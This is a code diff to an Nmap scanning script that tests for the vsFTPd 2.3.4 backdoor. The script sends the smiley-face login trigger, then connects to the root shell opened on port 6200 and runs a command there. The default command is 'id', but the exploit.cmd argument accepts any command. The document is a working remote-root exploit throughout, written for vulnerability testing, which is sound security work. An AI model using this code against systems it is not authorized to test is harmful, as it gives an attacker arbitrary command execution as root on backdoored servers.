Index: scripts/ftp-vsftpd-backdoor.nse
===================================================================
--- scripts/ftp-vsftpd-backdoor.nse (revision 24639)
+++ scripts/ftp-vsftpd-backdoor.nse (working copy)
@@ -5,7 +5,8 @@
Tests for the presence of the vsFTPd 2.3.4 backdoor reported on 2011-07-04. This
script attempts to exploit the backdoor using the innocuous id
command by default, but that can be changed with the
-ftp-vsftpd-backdoor.cmd script argument.
+exploit.cmd or ftp-vsftpd-backdoor.cmd script
+arguments.
References:
* http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
@@ -16,28 +17,28 @@
-- @usage
-- nmap --script ftp-vsftpd-backdoor -p 21
--
--- @args ftp-vsftpd-backdoor.cmd Command to execute in shell (default is
--- id).
+-- @args exploit.cmd or ftp-vsftpd-backdoor.cmd Command to execute in shell
+-- (default is id).
--
-- @output
-- PORT STATE SERVICE
-- 21/tcp open ftp
-- | ftp-vsftpd-backdoor:
--- | This installation has been backdoored.
+-- | This installation has been backdoored: VULNERABLE
-- | Command: id
--- | Results: uid=0(root) gid=0(wheel) groups=0(wheel)
--- |_
+-- |_ Results: uid=0(root) gid=0(root) groups=0(root)
author = "Daniel Miller"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"discovery", "intrusive"}
require("ftp")
+require("nmap")
require("shortport")
require("stdnse")
local CMD_FTP = "USER X:)\r\nPASS X\r\n"
-local CMD_SHELL = "id"
+local CMD_SHELL_ID = "id"
portrule = function (host, port)
-- Check if version detection knows what FTP server this is.
@@ -53,76 +54,112 @@
return shortport.port_or_service(21, "ftp")(host, port)
end
+local function finish_ftp(socket, status, message)
+ if socket then
+ socket:close()
+ end
+ return status, message
+end
+
+-- Returns true, results if vsFTPd was backdoored
+local function check_backdoor(host, shell_cmd)
+ local socket = nmap.new_socket("tcp")
+ socket:set_timeout(10000)
+
+ local status, ret = socket:connect(host, 6200, "tcp")
+ if not status then
+ return finish_ftp(socket, false,
+ string.format("can't connect to tcp port 6200: NOT VULNERABLE ",
+ ret))
+ end
+
+ status, ret = socket:send(CMD_SHELL_ID.."\n")
+ if not status then
+ return finish_ftp(socket, false, "failed to send shell command")
+ end
+
+ status, ret = socket:receive_lines(1)
+ if not status then
+ return finish_ftp(socket, false,
+ string.format("failed to read shell command results: %s",
+ ret))
+ end
+
+ if not ret:match("uid=") then
+ return finish_ftp(socket, false,
+ "service on port 6200 is not the vsFTPd backdoor: NOT VULNERABLE")
+ else
+ if shell_cmd ~= CMD_SHELL_ID then
+ status, ret = socket:send(shell_cmd.."\n")
+ if not status then
+ return finish_ftp(socket, false, "failed to send shell command")
+ end
+ status, ret = socket:receive_lines(1)
+ if not status then
+ return finish_ftp(socket, false,
+ string.format("failed to read shell commands results: %s",
+ ret))
+ end
+ end
+ end
+
+ return finish_ftp(socket, true, string.gsub(ret, "^%s*(.-)\n*$", "%1"))
+end
+
action = function(host, port)
- local cmd, err, resp, results, sock, status
-
-- Get script arguments.
- cmd = stdnse.get_script_args("ftp-vsftpd-backdoor.cmd")
- if not cmd then
- cmd = CMD_SHELL
- end
+ local cmd = stdnse.get_script_args("ftp-vsftpd-backdoor.cmd") or
+ stdnse.get_script_args("exploit.cmd") or CMD_SHELL_ID
+ local results = {
+ "This installation has been backdoored: VULNERABLE",
+ "Command: " .. cmd,
+ }
+
+ -- check to see if the vsFTPd backdoor was already triggered
+ local status, ret = check_backdoor(host, cmd)
+ if status then
+ table.insert(results, string.format("Results: %s", ret))
+ return stdnse.format_output(true, results)
+ end
+
-- Create socket.
- sock = nmap.new_socket("tcp")
- sock:set_timeout(5000)
- status, err = sock:connect(host, port, "tcp")
- if not status then
- stdnse.print_debug(1, "Can't connect: %s", err)
- sock:close()
- return
- end
-
+ local sock, err = ftp.connect(host, port,
+ {recv_before = false,
+ timeout = 8000})
+ if not sock then
+ stdnse.print_debug(1, "%s: can't connect: %s",
+ SCRIPT_NAME, err)
+ return nil
+ end
+
-- Read banner.
buffer = stdnse.make_buffer(sock, "\r?\n")
local code, message = ftp.read_reply(buffer)
if not code then
- stdnse.print_debug(1, "Can't read banner: %s", message)
+ stdnse.print_debug(1, "%s: can't read banner: %s",
+ SCRIPT_NAME, message)
sock:close()
- return
+ return nil
end
- -- Send command to escalate privilege.
- status, err = sock:send(CMD_FTP .. "\r\n")
- if not status then
- stdnse.print_debug(1, "Failed to send privilege escalation command: %s", err)
- sock:close()
- return
- end
+ status, ret = sock:send(CMD_FTP .. "\r\n")
+ if not status then
+ stdnse.print_debug(1, "%s: failed to send privilege escalation command: %s",
+ SCRIPT_NAME, ret)
+ return nil
+ end
- -- Check if escalation worked.
- stdnse.sleep(1)
- sock:close()
- sock = nmap.new_socket("tcp")
- sock:set_timeout(5000)
- status, err = sock:connect(host, 6200, "tcp")
- if not status then
- stdnse.print_debug(1, "Can't connect, not vulnerable: %s", err)
- sock:close()
- return
- end
+ stdnse.sleep(1)
+ -- check if vsFTPd was backdoored
+ local status, ret = check_backdoor(host, cmd)
+ if not status then
+ stdnse.print_debug(1, "%s: %s", SCRIPT_NAME, ret)
+ return nil
+ end
- -- Send command(s) to shell.
- status, err = sock:send(cmd .. ";\r\n")
- if not status then
- stdnse.print_debug(1, "Failed to send shell command(s): %s", err)
- sock:close()
- return
- end
-
- -- Check for an error from command.
- status, resp = sock:receive()
- if not status then
- stdnse.print_debug(1, "Can't read command response: %s", resp)
- sock:close()
- return
- end
-
- -- Summarize the results.
- results = {
- "This installation has been backdoored.",
- "Command: " .. CMD_SHELL,
- "Results: " .. resp
- }
-
+ -- delay ftp socket cleaning
+ sock:close()
+ table.insert(results, string.format("Results: %s", ret))
return stdnse.format_output(true, results)
end